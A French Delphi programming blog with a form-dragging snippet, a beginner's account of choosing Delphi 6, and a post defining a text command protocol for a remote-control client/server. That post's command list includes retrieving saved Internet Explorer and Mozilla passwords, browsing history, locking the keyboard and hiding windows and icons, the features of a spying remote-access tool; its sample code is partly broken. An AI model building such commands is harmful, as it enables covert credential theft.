-
-
-
Delphi permet de pouvoir déplacer un formulaire sans bordure grace à n'importe quel contenneur graphique (Form, Panel ...)
Il suffit de placez le code suivant sur la propriété OnMouseDown du contenneur:
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
const
SC_DRAGMOVE = $F012;
begin
if Button = mbLeft then
begin
ReleaseCapture;
Perform(WM_SYSCOMMAND, SC_DRAGMOVE, 0);
end;
end;
votre commentaire -
Bon !!! J'ai décidé de choisir comme EDI, Borland Delphi 6 Personnal edition.
Quand je me suis lancé dans la programmation, je ne savait pas par ou commencer. Après des recherches sur le web pour me familiariser avec le monde de la programmation, l'on m'avait très souvant conseillé VB (Visual basic), j'ai donc un peut appris les bases du language en lui même mais je n'arrivais à rien vu que je n'avait aucune version en main : presque pas de connection internet ( + de 700 Mo de téléchargement) alors je me suis tourné vers autre chose de moins lourd à savoir Netbeans de sun java. Mais après avoir formaté mon disque dur, j'ai perdu netbeans.
Peu après, vu que j'avais quand même un cd de Microsoft office, je me suis mis à apprendre la programmation de base de données, à mon avis, tous ceux qui veulent commencer quelque part doivent commencer par Ms access qui m'a beaucoup aidé. Puis j'ai découvert que ms access avait visual basic ou plutôt Visual basic for application (VBA). je me suis entrainé à créer mes propres bases de données touchant tous les domaines.
Finalement j'ai eu une bonne connection internet et j'ai fini par trouver Microsoft visual basic express 2005 qui est entièrement gratuit, bon produit. Mais j'avais pas de Winsock dans ma version et je pouvais pas ajouter des composant. Alors j'ai cherché ailleurs.
En consultant des mémoires de fin d'étude et des thèses, je suis tombé sur le mémoire d'une femme qui avait developpé un bonne application de gestion du*'un hopital sous Delphi. J'ai eu le coup de foudre (heeuuu pour delphi ).
Après mes recherches j'ai obtenu Delphi 6 edition personnel ( dispo sur Commentçamarche ), qui est gratuite. C'est une version ancienne mais toujours très utilisée sinon la plus utilisée.
Cette version étant donnée qu'elle est gratuite ne possède pas de composant d'accès aux données mais vous pouvez installer d'autres composants.
Bref vous aurez juste besoin de delphi 6.Allez consulter les autres pages du blog pour les sources, les objectifs, les captures d'écran , le client serveur sous delphi pour les débutants, et les liens de téléchaargement et autres.
votre commentaire -
Ce protocole est mis sur pied pour faciliter la gestion des informations au niveau du codage du serveur << Julie / MGL-01 >>. Il est constitué d’une chaine de caractères disposés de façon ordonnée et lisible par le programmeur et est donc standardisé de part sa forme.
Ce protocole se forme trois (03) principales parties : La tête ; Le corps ; Les membres.
1234567890|1234567890|1234567890
123456789012345678901234567890
CD........OPEN......D
CD........CLOSE.....D
SCREEN....CHANGE_RES1024......768
KEY.......TOUCH.....A
MOUSE.....MOVE......2.........2
La tête : Elle contient les 10 premiers caractères y compris les espaces vides.
Exemple : CD........
Elle sert à identifier les catégories de commandes pour simplifier le regroupement de code et une bonne lecture.
Le corps : cette partie contient les 10 caractères suivants y compris les espaces vides à savoir du 11ème au 20ème caractère.
Exemple : OPEN......
Elle sert à identifier précisément la fonction appartenant à une catégorie.
Les membres : cette partie contient les 10 caractères suivants y compris les espaces vides à savoir du 21ème au 30ème caractère.
Exemple : D ou encore 1024......768
Elle sert à identifier les paramètres de la fonction.
Exemple de traitement du protocole MGL :
Protocole :
123456789012345678901234567890
CD........OPEN......D
CD........CLOSE.....D
SCREEN....CHANGE_RES1024......768
KEY.......TOUCH.....A
MOUSE.....MOVE......2.........2
Code :
procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
Txt : string;
Category, Command, Param1, Param2: string;
begin
Txt:=Socket.ReceiveText;
Category := Trim(Copy(Txt, 1, 10));
Commande := Trim(Copy(Txt, 11, 10));
if Category = 'CD' then
begin
if Commande = 'OPEN' then
begin
Param1 := Copy(Txt, 21, 1);
OpenCD(Param1[1]);
end
else
if Commande = 'CLOSE' then
begin
Param1 := Copy(Txt, 21, 1);
CloseCD(Param1[1]);
end;
end
else
if Category = 'SCREEN' then
begin
if Commande = 'CHANGE_RES' then
begin
Param1 := Trim(Copy(Txt, 21, 10));
Param2 := Trim(Copy(Txt, 31, 10));
ChangeResolution(StrToInt(Param1), StrToInt(Param2));
end
end
else
if Category = 'KEY' then
begin
if Commande = 'TOUCH' then
begin
Param1 := Copy(Txt, 21, 1);
GetKeyboardState(Ord(Param1[1]));
end
end
else
if Category = 'MOUSE' then
begin
Param1 := Trim(Copy(Txt, 21, 10));
Param2 := Trim(Copy(Txt, 31, 10));
SetCursorPos(StrToInt(Param1), StrToInt(Param2));
end;
end;
PROTOCOLE DE COMMUNICATION :
PROTOCOLE MGL
PROTOCOLE DE SENDTEXT DU CLIENTSOCKET
CD........OPEN
CD........CLOSE
SCREEN....CHANGE_RES1024......768
SCREEN....OFF
SCREEN....ON
MOUSE.....MOVE......2.........2
MOUSE.....HIDE
BARRE_T...HIDE
BARRE_T...SHOW
FENETRE...GETNAME
FENETRE...HIDE
FENETRE...SHOW
MSG.......SHOW......monmessage
IE........OPEN......http://www.a.com
IE........GETHISTORY
IE........GETPASS
MOZILLA...GETPASS
TIME
PROGRAM...GETLIST
PROCESS...GETLIST
PROCESS...KILL
SERVICE...GETLIST
SYSTEM....REBOOT
SYSTEM....STOP
SYSTEM....SLEEP
SYSTEM....GETINFO
SYSTEM....GETPERIF
KEYBOARD..LOCK
KEYBOARD..UNLOCK
ICON......SHOW
ICON......HIDE
FOLDER....FIND......monpath
PROTOCOLE DE READ DU CLIENTSOCKET
FENETRE...GETNAME...nomfenetre
IE........GETHISTORY
IE........GETPASS
MOZILLA...GETPASS
TIME................monheure
PROGRAM...GETLIST...monprogram
PROCESS...GETLIST...monprocess
SERVICE...GETLIST...monservice
SYSTEM....GETINFO...moninfo
SYSTEM....GETPERIF..monperif
FOLDER....FIND......monpath
PROTOCOLE DE SENDTEXT DU SERVERSOCKET
( C'est le même que celui du read du Clientsocket )
PROTOCOLE DE READ DU SERVERSOCKET
( C'est le même que celui du read du Serversocket )
votre commentaire
Suivre le flux RSS des articles
Suivre le flux RSS des commentaires